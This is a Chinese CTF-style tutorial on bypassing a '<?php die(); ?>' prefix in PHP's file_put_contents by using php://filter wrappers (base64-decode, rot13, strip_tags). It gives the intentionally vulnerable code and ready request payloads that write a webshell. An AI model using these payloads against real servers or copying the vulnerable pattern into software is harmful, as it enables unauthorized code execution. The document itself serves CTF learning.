首页 > 编程语言 >file_put_contents之PHP伪协议绕过死亡代码

file_put_contents之PHP伪协议绕过死亡代码

时间:2024-01-19 15:57:37浏览次数:38  
标签:字符 php 解码 base64 content file put PHP

前言

一个CTF比赛中差不多用烂的一个考点,考察选手对php伪协议的灵活运用

前置知识

0x1

Base64解码只解码字符表中的字符,对不在字符表中的字符会直接忽略(相当于置换为空),这里举个例子
F12的base64编码是 RjEy,我们插入一些不在字符表中的字符,仍然可以解码出正确结果

0x2

Base64编码简单来说就是3个字节变4个字节,所以编码后的字符串一定满足4的倍数,满足4的倍数就能进行base64解码

漏洞分析

危险代码

<?php
  $filename = $_GET["file"];
  $content = $_GET['content'];
  if (isset($content) && isset($filename)) {
  	@file_put_contents($filename, '<?php die(); ?>'.$content);
  }else{
  	highlight_file(__FILE__);
  }
?>

很明显我们可以写入一个php文件,从而进行getshell,但是在我们写入的内容之前有个<?php die(); ?>,假设我们传入的?content=<?php phpinfo();?>,那么写入文件中就会是<?php die(); ?><?php phpinfo(); ?>,这样即使我们访问了这个php文件,也会因为die而提前退出,并不会执行到后面的phpinfo

php伪协议利用

convert.base64-decode

我们这样进行传参?file=php://filter/convert.base64-decode/resource=shell.php&content=abPD9waHAgcGhwaW5mbygpOz8%2b
根据上面所说的前置知识,字符只需要满足4的倍数就能进行base64解码,就算是乱码也没关系,由于不在字符表中的字符会被忽略,所以解码的字符是phpdie,只有6个字符,所以我们手动传入两个字符ab加上<?php phpinfo();?>的base64编码,就能成功写入有效的webshell

string.rot13

注意:此方法需要关闭短标签(short_open_tag),不然会因为短标签报错
我们这样进行传参?file=php://filter/string.rot13/resource=shell.php&content=<?cuc cucvasb();?>,这时整体的内容是<?php die();?><?cuc cucvasb();?>,我们这个解码器会对传入的值进行rot13解码,所以写入文件的内容是<?cuc qvr();?><?php phpinfo();?>,这样也成功的去除了die

string.strip_tags

该协议的使用是将字符串中的 HTML、XML 以及 PHP 的标签或者数组中的 HTML、XML 以及 PHP 的标签剥除.(PHP 7.3.0 起废弃),而就是php的标签,使用该协议即将直接去除
我们这样传参?file=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php&content=PD9waHAgcGhwaW5mbygpOz8%2b,这样就会将<?php die();?>进行去除后再进行base64解码,就能成功写入有效的webshell

标签:字符,php,解码,base64,content,file,put,PHP
From: https://www.cnblogs.com/F12-blog/p/17974827

相关文章

  • Adnroid WebView从http协议加载本地html,而不是file协议
    1.使用WebViewAssetLoader需要在build.gradle中添加webkitimplementation'androidx.webkit:webkit:1.6.0'2.然后设置WebviewprotectedvoidwebviewSet(){WebViewwv=binding.wv;WebSettingswvSettings=wv.getSettings();finalWebViewA......
  • android开发编译出错:Unable to find method ''org.gradle.api.file.RegularFileProper
    Unabletofindmethod''org.gradle.api.file.RegularFilePropertyorg.gradle.api.file.ProjectLayout.fileProperty(org.gradle.api.provider.Provider)'''org.gradle.api.file.RegularFilePropertyorg.gradle.api.file.ProjectLayout.fileProp......
  • 2024-1-19事件绑定,input与hover事件
    目录事件绑定,input与hover事件事件绑定hover事件input事件事件绑定.on()方法注意:off()方法事件绑定,input与hover事件在jQ内很多中事件常用的事件有下面的click(function(){...})//绑定一个点击事件hover(function(){...})//悬停触发事件blur(function(){...})//失焦事件处理......
  • ELK之Filebeat自动断开问题解决
     自动断开命令 解决自动断开命令nohup./filebeat-e-cfilebeat.yml>./filebeat.log 2>&1& disown 其他的方式(目前我没有使用) 在linux操作系统/etc/systemd/system目录下创建一个filebeat.service文件,写入如下内容需要注意替换文件的位置以及版本[Unit]D......
  • SQL Server Profiler的trc文件生成阻止
    很奇葩,sqlserver自动生成trc文件,每分钟一个,重启服务器也没用。解决思路:查询现在正在跑的trace进程select*fromsys.fn_trace_getinfo(0);关闭C2审计功能EXECsp_configure'c2auditmode','0';重启数据库服务再次查看,已经没了。然后删除数据盘所有的trc文件。EXECsp_configure......
  • 2024-1-19事件绑定,input与hover事件
    目录事件绑定,input与hover事件事件绑定hover事件input事件事件绑定,input与hover事件在jQ内很多中事件常用的事件有下面的click(function(){...})//绑定一个点击事件hover(function(){...})//悬停触发事件blur(function(){...})//失焦事件处理focus(function(){...})//焦点......
  • cudnn.h: No such file or directory
    详解cudnn.h:Nosuchfileordirectory当我们在使用CUDA进行GPU编程时,有时可能会遇到以下错误信息:cudnn.h:Nosuchfileordirectory。本文将详细介绍这个错误的原因以及如何解决这个问题。错误原因该错误表明编译器无法找到cudnn.h文件,即CUDA深度神经网络库(cuDNN)的头文件。c......
  • 无涯教程-SQLite - 连接PHP
    在本章中,您将学习如何在PHP程序中使用SQLite。安装从PHP5.3.0起默认启用SQLite3扩展。可以在编译时使用-without-sqlite3禁用它。Windows用户必须启用php_sqlite3.dll才能使用此扩展名。从PHP5.3.0开始,此DLL包含在Windows的PHP发行版中。有关详细的安装说明,请查看无涯教程......
  • Linux的getenv putenv setenv和unsetenv(转载)
    1、getenv函数头文件:#include<stdlib.h>函数原型:char*getenv(constchar*name);函数说明:getenv()用来取得参数name环境变量的内容。函数参数:name为环境变量的名称,如果该变量存在则会返回指向该内容的指针。环境变量的格式为name=value。返回值:若环境......
  • FastCGI访问PHP-FPM实现任意代码执行
    之前学习web的Nginx解析漏洞就看到了FastCGI协议,今天学习一下。顺便看看有什么漏洞可以复现Nginx解析漏洞Nginx接受用户的http请求后生成的cgi环境变量有一SCRIPIT_NAME和PATH_INFO比如想要请求/var/www/html/example.gif/.php那么/var/www/html/example.gif就是SCRIPT_NAME/.......